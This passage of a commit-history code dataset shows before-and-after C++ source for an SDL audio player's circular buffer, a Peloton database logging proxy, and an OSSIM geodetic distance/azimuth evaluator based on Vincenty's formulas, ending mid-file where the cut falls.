% STREAM_BUFFER;\n\t\t\tstreamSize = size;\n\t\t}\n\t\treturn streamSize;\n\t}\n\n}\n#endif<commit_msg>- fixed a bug in SDL_Player with the circular buffer<commit_after>\/\/\/ @file\n\/\/\/ @version 3.4\n\/\/\/ \n\/\/\/ @section LICENSE\n\/\/\/ \n\/\/\/ This program is free software; you can redistribute it and\/or modify it under\n\/\/\/ the terms of the BSD license: http:\/\/opensource.org\/licenses\/BSD-3-Clause\n\n#ifdef _SDL\n\/\/#include <SDL\/SDL.h>\n\n#include <hltypes\/hltypesUtil.h>\n\n#include \"Buffer.h\"\n#include \"SDL_AudioManager.h\"\n#include \"SDL_Player.h\"\n#include \"Sound.h\"\n#include \"xal.h\"\n\nnamespace xal\n{\n\tSDL_Player::SDL_Player(Sound* sound) : Player(sound), playing(false),\n\t\tposition(0), currentGain(1.0f), readPosition(0), writePosition(0)\n\t{\n\t\tmemset(this->circleBuffer, 0, STREAM_BUFFER * sizeof(unsigned char));\n\t}\n\n\tSDL_Player::~SDL_Player()\n\t{\n\t\t\/\/ AudioManager calls _stop before destruction\n\t}\n\n\tvoid SDL_Player::_getData(int size, unsigned char** data1, int* size1, unsigned char** data2, int* size2)\n\t{\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\tint streamSize = this->buffer->load(this->looping, size);\n\t\t\tif (streamSize == 0)\n\t\t\t{\n\t\t\t\t*data1 = NULL;\n\t\t\t\t*size1 = 0;\n\t\t\t\t*data2 = NULL;\n\t\t\t\t*size2 = 0;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\thstream& stream = this->buffer->getStream();\n\t\t\t*data1 = (unsigned char*)&stream[this->readPosition];\n\t\t\t*size1 = hmin(hmin(streamSize, streamSize - this->readPosition), size);\n\t\t\t*data2 = NULL;\n\t\t\t*size2 = 0;\n\t\t\tif (this->looping && this->readPosition + size > streamSize)\n\t\t\t{\n\t\t\t\t*data2 = (unsigned char*)stream;\n\t\t\t\t*size2 = size - *size1;\n\t\t\t\tthis->readPosition = (this->readPosition + size) % streamSize;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthis->readPosition = hmin(this->readPosition + size, streamSize);\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\t*data1 = &this->circleBuffer[this->readPosition];\n\t\t*size1 = size;\n\t\t*data2 = NULL;\n\t\t*size2 = 0;\n\t\tif (this->readPosition + size > STREAM_BUFFER)\n\t\t{\n\t\t\t*size1 = STREAM_BUFFER - this->readPosition;\n\t\t\t*data2 = this->circleBuffer;\n\t\t\t*size2 = size - *size1;\n\t\t}\n\t\tthis->readPosition = (this->readPosition + size) % STREAM_BUFFER;\n\t}\n\n\tvoid SDL_Player::_update(float timeDelta)\n\t{\n\t\tPlayer::_update(timeDelta);\n\t\t\/\/ making sure a corrected size is used\n\t\tint size = this->buffer->calcOutputSize(this->buffer->getSize());\n\t\tif (size > 0 && this->position >= size)\n\t\t{\n\t\t\tif (this->looping)\n\t\t\t{\n\t\t\t\tthis->position -= this->position \/ size * size;\n\t\t\t}\n\t\t\telse if (this->playing)\n\t\t\t{\n\t\t\t\tthis->_stop();\n\t\t\t}\n\t\t}\n\t}\n\n\tbool SDL_Player::mixAudio(hstream& stream, int size, bool first)\n\t{\n\t\tif (!this->playing)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tunsigned char* data1 = NULL;\n\t\tint size1 = 0;\n\t\tunsigned char* data2 = NULL;\n\t\tint size2 = 0;\n\t\tthis->_getData(size, &data1, &size1, &data2, &size2); \/\/ ironically this is very similar to how DirectSound does things internally\n\t\tif (size1 > 0)\n\t\t{\n\t\t\tif (first && this->currentGain == 1.0f)\n\t\t\t{\n\t\t\t\tmemcpy((unsigned char*)stream, data1, size1);\n\t\t\t\tif (size2 > 0)\n\t\t\t\t{\n\t\t\t\t\tmemcpy((void*)&stream[size1], data2, size2);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tshort* sStream = (short*)(unsigned char*)stream;\n\t\t\t\tshort* sData1 = (short*)data1;\n\t\t\t\tshort* sData2 = (short*)data2;\n\t\t\t\tsize1 = size1 * sizeof(unsigned char) \/ sizeof(short);\n\t\t\t\tsize2 = size2 * sizeof(unsigned char) \/ sizeof(short);\n\t\t\t\tif (!first)\n\t\t\t\t{\n\t\t\t\t\tfor_iter (i, 0, size1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[i] = (short)hclamp((int)(sStream[i] + this->currentGain * sData1[i]), -32768, 32767);\n\t\t\t\t\t}\n\t\t\t\t\tfor_iter (i, 0, size2)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[size1 + i] = (short)hclamp((int)(sStream[size1 + i] + this->currentGain * sData2[i]), -32768, 32767);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfor_iter (i, 0, size1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[i] = (short)(sData1[i] * this->currentGain);\n\t\t\t\t\t}\n\t\t\t\t\tfor_iter (i, 0, size2)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[size1 + i] = (short)(sData2[i] * this->currentGain);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis->position += size1 + size2;\n\t\t}\n\t\treturn true;\n\t}\n\n\tunsigned int SDL_Player::_systemGetBufferPosition()\n\t{\n\t\tint count = 0;\n\t\tif (this->readPosition > this->writePosition)\n\t\t{\n\t\t\tcount = (this->readPosition - this->writePosition);\n\t\t}\n\t\telse if (this->readPosition < this->writePosition)\n\t\t{\n\t\t\tcount = (STREAM_BUFFER - this->writePosition + this->readPosition);\n\t\t}\n\t\treturn this->buffer->calcInputSize(count);\n\t}\n\n\tfloat SDL_Player::_systemGetOffset()\n\t{\n\t\treturn this->offset;\n\t}\n\n\tvoid SDL_Player::_systemSetOffset(float value)\n\t{\n\t\tthis->offset = value;\n\t}\n\n\tbool SDL_Player::_systemPreparePlay()\n\t{\n\t\treturn true;\n\t}\n\n\tvoid SDL_Player::_systemPrepareBuffer()\n\t{\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\tthis->buffer->load(this->looping, this->buffer->getSize());\n\t\t\treturn;\n\t\t}\n\t\tif (!this->paused)\n\t\t{\n\t\t\tthis->readPosition = 0;\n\t\t\tthis->writePosition = 0;\n\t\t\tint size = this->_fillBuffer(STREAM_BUFFER);\n\t\t\tif (size < STREAM_BUFFER)\n\t\t\t{\n\t\t\t\tmemset(&this->circleBuffer[size], 0, (STREAM_BUFFER - size) * sizeof(unsigned char));\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid SDL_Player::_systemUpdateGain()\n\t{\n\t\tthis->currentGain = this->_calcGain();\n\t}\n\n\tvoid SDL_Player::_systemPlay()\n\t{\n\t\tthis->playing = true;\n\t}\n\n\tint SDL_Player::_systemStop()\n\t{\n\t\tthis->playing = false;\n\t\tif (!this->paused)\n\t\t{\n\t\t\tthis->position = 0;\n\t\t\tthis->readPosition = 0;\n\t\t\tthis->writePosition = 0;\n\t\t\tthis->buffer->rewind();\n\t\t}\n\t\treturn 0;\n\t}\n\n\tint SDL_Player::_systemUpdateStream()\n\t{\n\t\tint result = 0;\n\t\tint count = 0;\n\t\tif (this->readPosition > this->writePosition)\n\t\t{\n\t\t\tcount = (this->readPosition - this->writePosition) \/ STREAM_BUFFER_SIZE;\n\t\t}\n\t\telse if (this->readPosition < this->writePosition)\n\t\t{\n\t\t\tcount = (STREAM_BUFFER - this->writePosition + this->readPosition) \/ STREAM_BUFFER_SIZE;\n\t\t}\n\t\tif (count > 0)\n\t\t{\n\t\t\tresult = this->_fillBuffer(count * STREAM_BUFFER_SIZE);\n\t\t\tresult = this->buffer->calcInputSize(result);\n\t\t}\n\t\treturn result;\n\t}\n\n\tint SDL_Player::_fillBuffer(int size)\n\t{\n\t\t\/\/ making sure the buffer doesn't overflow since upsampling can cause that\n\t\tsize = this->buffer->calcInputSize(size);\n\t\t\/\/ load the data from the buffer\n\t\tint streamSize = this->buffer->load(this->looping, size);\n\t\thstream& stream = this->buffer->getStream();\n\t\tif (this->writePosition + streamSize <= STREAM_BUFFER)\n\t\t{\n\t\t\tmemcpy(&this->circleBuffer[this->writePosition], (unsigned char*)stream, streamSize * sizeof(unsigned char));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tint remaining = STREAM_BUFFER - this->writePosition;\n\t\t\tmemcpy(&this->circleBuffer[this->writePosition], &stream[0], remaining * sizeof(unsigned char));\n\t\t\tmemcpy(this->circleBuffer, &stream[remaining], (streamSize - remaining) * sizeof(unsigned char));\n\t\t}\n\t\tthis->writePosition = (this->writePosition + streamSize) % STREAM_BUFFER;\n\t\tif (!this->looping && streamSize < size) \/\/ fill with silence if source is at the end\n\t\t{\n\t\t\tstreamSize = size - streamSize;\n\t\t\tif (this->writePosition + streamSize <= STREAM_BUFFER)\n\t\t\t{\n\t\t\t\tmemset(&this->circleBuffer[this->writePosition], 0, streamSize * sizeof(unsigned char));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint remaining = STREAM_BUFFER - this->writePosition;\n\t\t\t\tmemset(&this->circleBuffer[this->writePosition], 0, remaining * sizeof(unsigned char));\n\t\t\t\tmemset(this->circleBuffer, 0, (streamSize - remaining) * sizeof(unsigned char));\n\t\t\t}\n\t\t\tthis->writePosition = (this->writePosition + streamSize) % STREAM_BUFFER;\n\t\t\tstreamSize = size;\n\t\t}\n\t\treturn streamSize;\n\t}\n\n}\n#endif<|endoftext|>"}
{"text":"<commit_before>\/*-------------------------------------------------------------------------\n *\n * aries_proxy.cpp\n * file description\n *\n * Copyright(c) 2015, CMU\n *\n * \/peloton\/src\/backend\/logging\/aries_proxy.cpp\n *\n *-------------------------------------------------------------------------\n *\/\n\n#include \"backend\/logging\/aries_proxy.h\"\n\n#include <iostream> \/\/ cout\n#include <unistd.h> \/\/ sleep\n\nnamespace peloton {\nnamespace logging {\n\nvoid AriesProxy::logging_MainLoop() const{\n  \/\/ TODO :: performance optimization\n  for(int i=0;i<50;i++){\n    sleep(5);\n    printf(\"buffer size %u GetBufferSize() %d \\n\", buffer_size,(int) GetBufferSize());\n    if( GetBufferSize() > buffer_size ) Flush();\n  }\n}\n\n\/**\n * @brief Recording log record\n * @param log record \n *\/\nvoid AriesProxy::log(LogRecord record) const{\n  aries_buffer_mutex.lock();\n  aries_buffer.push_back(record);\n  aries_buffer_mutex.unlock();\n}\n\n\/**\n * @brief Get buffer size\n * @return return the size of buffer\n *\/\nsize_t AriesProxy::GetBufferSize() const{\n  aries_buffer_mutex.lock();\n  size_t size = aries_buffer.size();\n  aries_buffer_mutex.unlock();\n  return size;\n}\n\n\/**\n * TODO ::\n * @brief flush all record, for now it's just printing out\n *\/\nvoid AriesProxy::Flush() const{\n  aries_buffer_mutex.lock();\n  for( auto record : aries_buffer )\n    std::cout << \"record : \" << record << std::endl;\n  aries_buffer.clear();\n  aries_buffer_mutex.unlock();\n}\n\n}  \/\/ namespace logging\n}  \/\/ namespace peloton\n\n\n<commit_msg>Minor update - use convenient wrapper<commit_after>\/*-------------------------------------------------------------------------\n *\n * aries_proxy.cpp\n * file description\n *\n * Copyright(c) 2015, CMU\n *\n * \/peloton\/src\/backend\/logging\/aries_proxy.cpp\n *\n *-------------------------------------------------------------------------\n *\/\n\n#include \"backend\/logging\/aries_proxy.h\"\n\n#include <iostream> \/\/ cout\n#include <unistd.h> \/\/ sleep\n\nnamespace peloton {\nnamespace logging {\n\nvoid AriesProxy::logging_MainLoop() const{\n  \/\/ TODO :: performance optimization\n  for(int i=0;i<50;i++){\n    sleep(5);\n    printf(\"buffer size %u GetBufferSize() %d \\n\", buffer_size,(int) GetBufferSize());\n    if( GetBufferSize() > buffer_size ) Flush();\n  }\n}\n\n\/**\n * @brief Recording log record\n * @param log record \n *\/\nvoid AriesProxy::log(LogRecord record) const{\n  std::lock_guard<std::mutex> lock(aries_buffer_mutex);\n  aries_buffer.push_back(record);\n}\n\n\/**\n * @brief Get buffer size\n * @return return the size of buffer\n *\/\nsize_t AriesProxy::GetBufferSize() const{\n  std::lock_guard<std::mutex> lock(aries_buffer_mutex);\n  return aries_buffer.size();\n}\n\n\/**\n * TODO ::\n * @brief flush all record, for now it's just printing out\n *\/\nvoid AriesProxy::Flush() const{\n  std::lock_guard<std::mutex> lock(aries_buffer_mutex);\n  for( auto record : aries_buffer )\n    std::cout << \"record : \" << record << std::endl;\n  aries_buffer.clear();\n}\n\n}  \/\/ namespace logging\n}  \/\/ namespace peloton\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/----------------------------------------------------------------------------\r\n\/\/\r\n\/\/ License:  See top level LICENSE.txt file.\r\n\/\/\r\n\/\/ Author:  David Hicks\r\n\/\/\r\n\/\/ Description: Evaluate geodetic functions.\r\n\/\/\r\n\/\/----------------------------------------------------------------------------\r\n\r\n#include <ossim\/base\/ossimGeodeticEvaluator.h>\r\n#include <ossim\/base\/ossimString.h>\r\n#include <ossim\/base\/ossimTrace.h>\r\n#include <ossim\/base\/ossimNotify.h>\r\n\r\n#include <iostream>\r\n#include <iomanip>\r\n\r\nstatic ossimTrace traceDebug(ossimString(\"ossimGeodeticEvaluator:debug\"));\r\nstatic ossimTrace traceExec(ossimString(\"ossimGeodeticEvaluator:exec\"));\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::ossimGeodeticEvaluator()\r\n\/\/  \r\n\/\/  Constructor.\r\n\/\/  \r\n\/\/*****************************************************************************\r\nossimGeodeticEvaluator::ossimGeodeticEvaluator(const ossimEllipsoid& ell)\r\n   :\r\n      m_A(ell.getA()),\r\n      m_B(ell.getB()),\r\n      m_F(ell.getFlattening()),\r\n      m_Ecc2(ell.eccentricitySquared())\r\n{\r\n   m_A2 = m_A*m_A;\r\n   m_B2 = m_B*m_B;\r\n   m_2ndEcc2 = (m_A2 - m_B2) \/ m_B2;\r\n}\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::ossimGeodeticEvaluator()\r\n\/\/  \r\n\/\/  Destructor.\r\n\/\/  \r\n\/\/*****************************************************************************\r\nossimGeodeticEvaluator::~ossimGeodeticEvaluator()\r\n{\r\n   if (traceExec())  ossimNotify(ossimNotifyLevel_DEBUG)\r\n      << \"DEBUG: ~ossimGeodeticEvaluator(): returning...\" << std::endl;\r\n}\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::direct()\r\n\/\/  \r\n\/\/  Equation numbers reference Vincenty:\r\n\/\/    http:\/\/www.ngs.noaa.gov\/PUBS_LIB\/inverse.pdf\r\n\/\/\r\n\/\/    p2   = unknown point\r\n\/\/    az21 = azimuth 2->1  (back azimuth)\r\n\/\/  \r\n\/\/*****************************************************************************\r\nbool ossimGeodeticEvaluator::direct(const ossimGpt& p1,\r\n                                    const double& d,\r\n                                    const double& az12,\r\n                                    ossimGpt& p2,\r\n                                    double& az21)\r\n{\r\n   if (traceDebug())\r\n   {\r\n      ossimNotify(ossimNotifyLevel_DEBUG)\r\n         << \"\\nossimGeodeticEvaluator::direct DEBUG:\" << std::endl;\r\n   }\r\n\r\n   bool computationOK = false;\r\n\r\n   double phi1 = p1.latr();\r\n   \/\/ double lam1 = p1.lonr();\r\n\r\n   double cosalpha1 = cos(az12);\r\n   double sinalpha1 = sin(az12);\r\n   double tanU1 = (1.0 - m_F) * tan(phi1);\r\n   double cosU1 = 1.0 \/ sqrt( 1.0 + tanU1 * tanU1 );\r\n   double sinU1 = tanU1 * cosU1;\r\n\r\n   \/\/ eq. 1\r\n   double sigma1 = atan2(tanU1, cosalpha1);\r\n\r\n   \/\/ eq. 2\r\n   double sinalpha = cosU1 * sinalpha1;\r\n\r\n   double sin2alpha = sinalpha * sinalpha;\r\n   double cos2alpha = 1.0 - sin2alpha;\r\n\r\n   double u2 = cos2alpha * m_2ndEcc2;\r\n\r\n   \/\/ Eq. 3\r\n   double A = 1 + u2 \/ 16384 * (4096 + u2 * (-768 + u2 * (320 - 175*u2)));\r\n\r\n   \/\/ Eq. 4\r\n   double B = u2 \/ 1024 * (256 + u2 * (-128 + u2 * (74 - 47*u2)));\r\n\r\n   \/\/ iterate until there is a negligible change in sigma\r\n   double dSig;\r\n   double d_bA = d \/ (m_B * A);\r\n   double sigma = d_bA;\r\n   double sinsig;\r\n   double cossig;\r\n   double prevSigma = M_PI;\r\n   double sigmaM2;\r\n   double cos2sigm;\r\n   double cos2sigm2;\r\n\r\n   while (abs(sigma - prevSigma) > 1.e-12)\r\n   {\r\n      \/\/ eq. 5\r\n      sigmaM2 = 2.0*sigma1 + sigma;\r\n      cos2sigm = cos(sigmaM2);\r\n      cos2sigm2 = cos2sigm * cos2sigm;\r\n      sinsig = sin(sigma);\r\n      cossig = cos(sigma);\r\n      double sin2sig = sinsig*sinsig;\r\n\r\n      \/\/ Eq. 6\r\n      dSig = B * sinsig * (cos2sigm + B \/ 4 * (cossig * (-1 + 2*cos2sigm2) - B \/ 6 * cos2sigm * (-3 + 4*sin2sig) * (-3 + 4*cos2sigm2)));\r\n\r\n      \/\/ eq. 7\r\n      prevSigma = sigma;\r\n      sigma = d_bA + dSig;\r\n   }\r\n\r\n   sigmaM2 = 2.0*sigma1 + sigma;\r\n   cos2sigm = cos(sigmaM2);\r\n   cos2sigm2 = cos2sigm * cos2sigm;\r\n   cossig = cos(sigma);\r\n   sinsig = sin(sigma);\r\n\r\n   \/\/ eq. 8\r\n   double tmp = sinU1*sinsig - cosU1*cossig*cosalpha1;\r\n   double phi2 = atan2( sinU1*cossig + cosU1*sinsig*cosalpha1, \r\n                        (1.0-m_F) * sqrt( sin2alpha + tmp*tmp));\r\n\r\n   \/\/ eq. 9\r\n   double lam = atan2(sinsig*sinalpha1, cosU1*cossig - sinU1*sinsig*cosalpha1);\r\n\r\n   \/\/ eq. 10\r\n   double C = m_F\/16 * cos2alpha * (4 + m_F * (4 - 3*cos2alpha));\r\n\r\n   \/\/ eq. 11\r\n   double L = lam - (1-C) * m_F * sinalpha * (sigma + C * sinsig * (cos2sigm + C * cossig * (-1 + 2*cos2sigm2)));\r\n\r\n   \/\/ eq. 12\r\n   double alpha2 = atan2(sinalpha, -tmp);\r\n\r\n\r\n   p2.latr(phi2);\r\n   p2.lonr(p1.lonr() + L);\r\n   az21 = alpha2 + M_PI;\r\n   if (az21 < 0.0)\r\n      az21 += 2.0*M_PI;\r\n   if (az21 > 2.0*M_PI)\r\n      az21 -= 2.0*M_PI;\r\n\r\n   return computationOK;\r\n}\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::inverse()\r\n\/\/  \r\n\/\/  Equation numbers reference Vincenty:\r\n\/\/    http:\/\/www.ngs.noaa.gov\/PUBS_LIB\/inverse.pdf\r\n\/\/\r\n\/\/    d    = distance (m)\r\n\/\/    az12 = azimuth 1->2\r\n\/\/    az21 = azimuth 2->1  (back azimuth)\r\n\/\/  \r\n\/\/*****************************************************************************\r\nbool ossimGeodeticEvaluator::inverse(const ossimGpt& p1,\r\n                                     const ossimGpt& p2,\r\n                                     double& d,\r\n                                     double& az12,\r\n                                     double& az21)\r\n{\r\n   if (traceDebug())\r\n   {\r\n      ossimNotify(ossimNotifyLevel_DEBUG)\r\n         << \"\\nossimGeodeticEvaluator::inverse DEBUG:\" << std::endl;\r\n   }\r\n\r\n   bool computationOK = false;\r\n\r\n   double phi1 = p1.latr();\r\n   double lam1 = p1.lonr();\r\n   double phi2 = p2.latr();\r\n   double lam2 = p2.lonr();\r\n\r\n   double U1 = atan((1.0-m_F) * tan(phi1));\r\n   double sinU1 = sin(U1);\r\n   double cosU1 = cos(U1);\r\n\r\n   double U2 = atan((1.0-m_F) * tan(phi2));\r\n   double sinU2 = sin(U2);\r\n   double cosU2 = cos(U2);\r\n\r\n   double sinU1sinU2 = sinU1 * sinU2;\r\n   double cosU1sinU2 = cosU1 * sinU2;\r\n   double sinU1cosU2 = sinU1 * cosU2;\r\n   double cosU1cosU2 = cosU1 * cosU2;\r\n\r\n   \/\/ Eq. 13\r\n   \/\/ 1st approximation\r\n   double L = lam2 - lam1;\r\n   double lam = L;\r\n\r\n\r\n   \/\/ Auxiliaries\r\n   double sig = 0.0;\r\n   double dSig = 0.0;\r\n   double lam0;\r\n   double cos2alpha;\r\n   double cos2sigm;\r\n   double cos2sigm2;\r\n   double sinsig;\r\n   double sin2sig;\r\n   double cossig;\r\n   bool converged = false;\r\n\r\n\r\n   int iter = 0;\r\n   int iterMax = 100;\r\n   int iterMin = 4;\r\n\r\n   \/\/ Iterative loop\r\n   do \r\n   {\r\n      iter++;\r\n\r\n      double sinlam = sin(lam);\r\n      double coslam = cos(lam);\r\n\r\n      \/\/ Eq. 14\r\n      double tmp = cosU1sinU2 - sinU1cosU2 * coslam;\r\n      sin2sig = cosU2*sinlam * cosU2*sinlam + tmp * tmp;\r\n      sinsig = sqrt(sin2sig);\r\n\r\n      \/\/ Eq. 15\r\n      cossig = sinU1sinU2 + (cosU1cosU2 * coslam);\r\n\r\n      \/\/ Eq. 16\r\n      sig = atan2(sinsig, cossig);\r\n\r\n      \/\/ Eq. 17\r\n      double sinalpha;\r\n      if (sin2sig == 0.0)\r\n         sinalpha = 0.0;\r\n      else\r\n         sinalpha = cosU1cosU2 * sinlam \/ sinsig;\r\n      cos2alpha = 1.0 - sinalpha*sinalpha;\r\n\r\n      \/\/ Eq. 18\r\n      if (cos2alpha == 0.0)\r\n         cos2sigm = 0.0;\r\n      else\r\n         cos2sigm = cossig - 2 * sinU1sinU2 \/ cos2alpha;\r\n      cos2sigm2 = cos2sigm * cos2sigm;\r\n\r\n      \/\/ Eq. 10\r\n      double C = m_F\/16 * cos2alpha * (4 + m_F * (4 - 3*cos2alpha));\r\n\r\n      \/\/ Eq. 11\r\n      lam0 = lam;\r\n      lam = L + (1-C) * m_F * sinalpha * (sig + C * sinsig * (cos2sigm + C * cossig * (-1 + 2*cos2sigm2)));\r\n\r\n\r\n      \/\/ Check delta lambda for convergence\r\n      double delta = abs(lam - lam0);\r\n      if (delta < 1e-13 && iter>=iterMin)\r\n      {\r\n        converged = true;\r\n      }\r\n\r\n   } while (!converged && iter<=iterMax);\r\n\r\n\r\n   double u2 = cos2alpha * m_2ndEcc2;\r\n\r\n   \/\/ Eq. 3\r\n   double A = 1 + u2 \/ 16384 * (4096 + u2 * (-768 + u2 * (320 - 175*u2)));\r\n\r\n   \/\/ Eq. 4\r\n   double B = u2 \/ 1024 * (256 + u2 * (-128 + u2 * (74 - 47*u2)));\r\n\r\n   \/\/ Eq. 6\r\n   dSig = B * sinsig * (cos2sigm + B \/ 4 * (cossig * (-1 + 2*cos2sigm2) - B \/ 6 * cos2sigm * (-3 + 4*sin2sig) * (-3 + 4*cos2sigm2)));\r\n\r\n\r\n   \/\/ Compute distance\r\n   \/\/  Eq. 19\r\n   d = m_B * A * (sig - dSig);\r\n\r\n\r\n   \/\/ Compute azimuths\r\n   \/\/  Diverged, same meridian or antipodal\r\n   if (!converged)\r\n   {\r\n      if (phi1 > phi2)\r\n      {\r\n         az12 = M_PI;\r\n         az21 = 0.0;\r\n      }\r\n      else if (phi1 < phi2)\r\n      {\r\n         az12 = 0.0;\r\n         az21 = M_PI;\r\n      }\r\n      else\r\n      {\r\n         az12 = ossim::nan();\r\n         az21 = ossim::nan();\r\n      }\r\n   }\r\n\r\n   \/\/ Converged\r\n   else\r\n   {\r\n      \/\/ Eq. 20\r\n      az12 = atan2(cosU2 * sin(lam), (cosU1sinU2 - sinU1cosU2 * cos(lam)));\r\n      if (az12 < 0.0) az12 += 2.0*M_PI;\r\n\r\n      \/\/ Eq. 21\r\n      az21 = atan2(cosU1 * sin(lam), (-sinU1cosU2 + cosU1sinU2 * cos(lam))) + M_PI;\r\n      if (az21 < 0.0) az21 += 2.0*M_PI;\r\n\r\n      computationOK = true;\r\n   }\r\n\r\n   return computationOK;\r\n }\r\n<commit_msg>Added verbage to comments<commit_after>\/\/----------------------------------------------------------------------------\r\n\/\/\r\n\/\/ License:  See top level LICENSE.txt file.\r\n\/\/\r\n\/\/ Author:  David Hicks\r\n\/\/\r\n\/\/ Description: Evaluate geodetic functions.\r\n\/\/\r\n\/\/----------------------------------------------------------------------------\r\n\r\n#include <ossim\/base\/ossimGeodeticEvaluator.h>\r\n#include <ossim\/base\/ossimString.h>\r\n#include <ossim\/base\/ossimTrace.h>\r\n#include <ossim\/base\/ossimNotify.h>\r\n\r\n#include <iostream>\r\n#include <iomanip>\r\n\r\nstatic ossimTrace traceDebug(ossimString(\"ossimGeodeticEvaluator:debug\"));\r\nstatic ossimTrace traceExec(ossimString(\"ossimGeodeticEvaluator:exec\"));\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::ossimGeodeticEvaluator()\r\n\/\/  \r\n\/\/  Constructor.\r\n\/\/  \r\n\/\/*****************************************************************************\r\nossimGeodeticEvaluator::ossimGeodeticEvaluator(const ossimEllipsoid& ell)\r\n   :\r\n      m_A(ell.getA()),\r\n      m_B(ell.getB()),\r\n      m_F(ell.getFlattening()),\r\n      m_Ecc2(ell.eccentricitySquared())\r\n{\r\n   m_A2 = m_A*m_A;\r\n   m_B2 = m_B*m_B;\r\n   m_2ndEcc2 = (m_A2 - m_B2) \/ m_B2;\r\n}\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::ossimGeodeticEvaluator()\r\n\/\/  \r\n\/\/  Destructor.\r\n\/\/  \r\n\/\/*****************************************************************************\r\nossimGeodeticEvaluator::~ossimGeodeticEvaluator()\r\n{\r\n   if (traceExec())  ossimNotify(ossimNotifyLevel_DEBUG)\r\n      << \"DEBUG: ~ossimGeodeticEvaluator(): returning...\" << std::endl;\r\n}\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::direct()\r\n\/\/  \r\n\/\/  Equation numbers reference Vincenty:\r\n\/\/    http:\/\/www.ngs.noaa.gov\/PUBS_LIB\/inverse.pdf\r\n\/\/\r\n\/\/    p2   = unknown point\r\n\/\/    az21 = azimuth 2->1  (back azimuth)\r\n\/\/  \r\n\/\/*****************************************************************************\r\nbool ossimGeodeticEvaluator::direct(const ossimGpt& p1,\r\n                                    const double& d,\r\n                                    const double& az12,\r\n                                    ossimGpt& p2,\r\n                                    double& az21)\r\n{\r\n   if (traceDebug())\r\n   {\r\n      ossimNotify(ossimNotifyLevel_DEBUG)\r\n         << \"\\nossimGeodeticEvaluator::direct DEBUG:\" << std::endl;\r\n   }\r\n\r\n   bool computationOK = false;\r\n\r\n   double phi1 = p1.latr();\r\n   \/\/ double lam1 = p1.lonr();\r\n\r\n   double cosalpha1 = cos(az12);\r\n   double sinalpha1 = sin(az12);\r\n   double tanU1 = (1.0 - m_F) * tan(phi1);\r\n   double cosU1 = 1.0 \/ sqrt( 1.0 + tanU1 * tanU1 );\r\n   double sinU1 = tanU1 * cosU1;\r\n\r\n   \/\/ eq. 1\r\n   double sigma1 = atan2(tanU1, cosalpha1);\r\n\r\n   \/\/ eq. 2\r\n   double sinalpha = cosU1 * sinalpha1;\r\n\r\n   double sin2alpha = sinalpha * sinalpha;\r\n   double cos2alpha = 1.0 - sin2alpha;\r\n\r\n   double u2 = cos2alpha * m_2ndEcc2;\r\n\r\n   \/\/ Eq. 3\r\n   double A = 1 + u2 \/ 16384 * (4096 + u2 * (-768 + u2 * (320 - 175*u2)));\r\n\r\n   \/\/ Eq. 4\r\n   double B = u2 \/ 1024 * (256 + u2 * (-128 + u2 * (74 - 47*u2)));\r\n\r\n   \/\/ iterate until there is a negligible change in sigma\r\n   double dSig;\r\n   double d_bA = d \/ (m_B * A);\r\n   double sigma = d_bA;\r\n   double sinsig;\r\n   double cossig;\r\n   double prevSigma = M_PI;\r\n   double sigmaM2;\r\n   double cos2sigm;\r\n   double cos2sigm2;\r\n\r\n   while (fabs(sigma - prevSigma) > 1.e-12)\r\n   {\r\n      \/\/ eq. 5\r\n      sigmaM2 = 2.0*sigma1 + sigma;\r\n      cos2sigm = cos(sigmaM2);\r\n      cos2sigm2 = cos2sigm * cos2sigm;\r\n      sinsig = sin(sigma);\r\n      cossig = cos(sigma);\r\n      double sin2sig = sinsig*sinsig;\r\n\r\n      \/\/ Eq. 6\r\n      dSig = B * sinsig * (cos2sigm + B \/ 4 * (cossig * (-1 + 2*cos2sigm2) - B \/ 6 * cos2sigm * (-3 + 4*sin2sig) * (-3 + 4*cos2sigm2)));\r\n\r\n      \/\/ eq. 7\r\n      prevSigma = sigma;\r\n      sigma = d_bA + dSig;\r\n   }\r\n\r\n   sigmaM2 = 2.0*sigma1 + sigma;\r\n   cos2sigm = cos(sigmaM2);\r\n   cos2sigm2 = cos2sigm * cos2sigm;\r\n   cossig = cos(sigma);\r\n   sinsig = sin(sigma);\r\n\r\n   \/\/ eq. 8\r\n   double tmp = sinU1*sinsig - cosU1*cossig*cosalpha1;\r\n   double phi2 = atan2( sinU1*cossig + cosU1*sinsig*cosalpha1, \r\n                        (1.0-m_F) * sqrt( sin2alpha + tmp*tmp));\r\n\r\n   \/\/ eq. 9\r\n   double lam = atan2(sinsig*sinalpha1, cosU1*cossig - sinU1*sinsig*cosalpha1);\r\n\r\n   \/\/ eq. 10\r\n   double C = m_F\/16 * cos2alpha * (4 + m_F * (4 - 3*cos2alpha));\r\n\r\n   \/\/ eq. 11\r\n   double L = lam - (1-C) * m_F * sinalpha * (sigma + C * sinsig * (cos2sigm + C 